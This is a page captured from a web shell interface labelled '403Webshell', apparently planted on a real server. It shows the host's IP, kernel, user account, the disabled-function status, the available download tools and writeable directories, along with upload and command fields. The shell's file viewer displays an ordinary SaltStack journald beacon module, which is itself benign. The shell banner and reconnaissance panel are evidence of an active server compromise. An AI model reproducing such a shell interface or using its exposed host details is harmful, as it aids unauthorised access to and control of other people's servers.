403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/beacons/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/beacons/journald.py
"""
A simple beacon to watch journald for specific entries
"""

import logging

import salt.utils.beacons
import salt.utils.data

try:
    import systemd.journal  # pylint: disable=no-name-in-module

    HAS_SYSTEMD = True
except ImportError:
    HAS_SYSTEMD = False


log = logging.getLogger(__name__)

__virtualname__ = "journald"


def __virtual__():
    if HAS_SYSTEMD:
        return __virtualname__
    err_msg = "systemd library is missing."
    log.error("Unable to load %s beacon: %s", __virtualname__, err_msg)
    return False, err_msg


def _get_journal():
    """
    Return the active running journal object
    """
    if "systemd.journald" in __context__:
        return __context__["systemd.journald"]
    __context__["systemd.journald"] = systemd.journal.Reader()
    # get to the end of the journal
    __context__["systemd.journald"].seek_tail()
    __context__["systemd.journald"].get_previous()
    return __context__["systemd.journald"]


def validate(config):
    """
    Validate the beacon configuration
    """
    # Configuration for journald beacon should be a list of dicts
    if not isinstance(config, list):
        return (False, "Configuration for journald beacon must be a list.")
    else:
        config = salt.utils.beacons.list_to_dict(config)

        for name in config.get("services", {}):
            if not isinstance(config["services"][name], dict):
                return (
                    False,
                    "Services configuration for journald beacon must be a list of"
                    " dictionaries.",
                )
    return True, "Valid beacon configuration"


def beacon(config):
    """
    The journald beacon allows for the systemd journal to be parsed and linked
    objects to be turned into events.

    This beacons config will return all sshd jornal entries

    .. code-block:: yaml

        beacons:
          journald:
            - services:
                sshd:
                  SYSLOG_IDENTIFIER: sshd
                  PRIORITY: 6
    """
    ret = []
    journal = _get_journal()

    config = salt.utils.beacons.list_to_dict(config)

    while True:
        cur = journal.get_next()
        if not cur:
            break

        for name in config.get("services", {}):
            n_flag = 0
            for key in config["services"][name]:
                if isinstance(key, str):
                    key = salt.utils.data.decode(key)
                if key in cur:
                    if config["services"][name][key] == cur[key]:
                        n_flag += 1
            if n_flag == len(config["services"][name]):
                # Match!
                sub = salt.utils.data.simple_types_filter(cur)
                sub.update({"tag": name})
                ret.append(sub)
    return ret

Youez - 2016 - github.com/yon3zu
LinuXploit